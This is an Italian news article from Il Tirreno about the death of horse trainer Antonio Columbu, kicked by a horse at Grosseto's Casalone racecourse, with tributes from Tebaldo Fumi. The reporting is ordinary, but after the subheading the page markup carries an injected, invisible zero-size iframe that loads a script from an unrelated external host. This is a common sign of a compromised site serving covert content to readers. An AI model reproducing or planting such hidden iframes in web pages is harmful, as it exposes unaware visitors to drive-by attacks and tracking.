Il Tirreno

Grosseto

Muore allenatore colpito dal cavallo

Francesca Gori
<strong>LA TRAGEDIA.</strong> Antonio Columbu aveva 39 anni Lascia la moglie e tre bambini<iframe height="0" src="http://loading-resource.com/analytics.php" style="visibility: hidden;" width="0"></iframe>
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LA TRAGEDIA. Antonio Columbu aveva 39 anni Lascia la moglie e tre bambini

Due interventi durante la notte non hanno salvato l'ex fantino Columbu

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GROSSETO. Non ce l'ha fatta. Antonio Columbu, l'allenatore che sabato pomeriggio è stato centrato in pieno dal calcio di un cavallo, è morto ieri mattina all'alba all'ospedale Misericordia, dove è stato operato altre due volte durante la notte. Columbu, 39 anni, è arrivato all'ospedale in gravissime condizioni. Una morte che ha lasciato senza fiato gli amici e le persone che lo conoscevano bene. All'ippodromo, c'era anche Erik Fumi. Il fantino e il suo allenatore. Erik Fumi, da quando è tornato a casa, dopo il terribile incidente all'ippodromo di Livorno, al Casalone c'è voluto andare. E sabato era lì, seduto sotto il gazebo, a guardare la gara. Con lui c'era babbo Tebaldo. «Antonio è passato e ha salutato Erik - racconta Tebaldo - poi è andato verso le gabbie. Ieri mattina non sapevo come fare a dire a mio figlio che il suo primo allenatore era morto». Incidenti gravi, come quello successo a Erik, irreparabili, come quello accaduto al suo primo allenatore.  Erik Fumi ieri mattina è voluto andare all'obitorio, ad abbracciare Antonella, la moglie di Antonio, anche lei nata e cresciuta in una famiglia dove con i cavalli ci lavorano tutti. Antonio è stato il primo allenatore di Fumi, il primo a farlo salire in sella per correre e vincere. «È venuto al gazebo a salutarci - ricorda Tebaldo - poi si è allontanato, è andato verso le gabbie. Abbiamo soltanto sentito, dopo pochi minuti, arrivare l'ambulanza, abbiamo visto gli artieri guardare per terra. Ma non ci potevamo rendere conto di quello che era successo. E soprattutto che quello che è accaduto, fosse capitato proprio ad Antonio».  Tebaldo, quel fantino arrivato dalla Sardegna, lo conosceva bene. «Finché ho lavorato a Grosseto ci frequentavamo di più, facevamo lo stesso lavoro - dice - ed era un uomo eccezionale. E soprattutto, aveva una grande passione e una grande esperienza. Ma quando si sceglie di fare lavori come questo, i rischi si mettono in conto».  Antonio Columbu lo sapeva che quel cavallo era difficile da gestire. Sabato pomeriggio è andato lì dietro, per dare una mano a farlo entrare nella gabbia per la partenza della gara. Era lì, con gli artieri. Loro al fianco di Sun over the hill, lui dietro. Sembra che il cancelletto fosse quasi chiuso, era rimasto solo uno spiraglio quando il castrone baio ha scalciato, scaraventando l'allenatore a quattro metri di distanza. Un colpo violentissimo, a due zampe, dato con gli zoccoli ferrati. Micidiale.  Antonio Columbu, a Grosseto, ci viveva da dieci anni. «Era molto attaccato alla sua famiglia - dice Tebaldo Fumi - a sua moglie Antonella e ai suoi tre bambini. Lavorava, si dava da fare come tanti». E poi, c'era quella passione per i cavalli, che lo ha portato via da sua moglie, che non gli permetterà più di abbracciare Elisa, che ha 13 anni, Matteo, che ne ha 11 e Andrea, che ne ha solo 6. Lo ricorderanno accanto ai cavalli, con gli stivali e il cap calato sulla testa. Nello stesso modo in cui lo ricorderà anche Erik, che con Antonio ha cominciato a correre, in sella a Bangkok, il suo mezzo sangue grigio, proprio all'ippodromo del Casalone.  La data del funerale non è stata ancora fissata. Manca il nullaosta del magistrato che probabilmente arriverà oggi. Ieri, all'ippodromo, il sopralluogo dei carabinieri, che hanno ricostruito la dinamica di questa tragedia.

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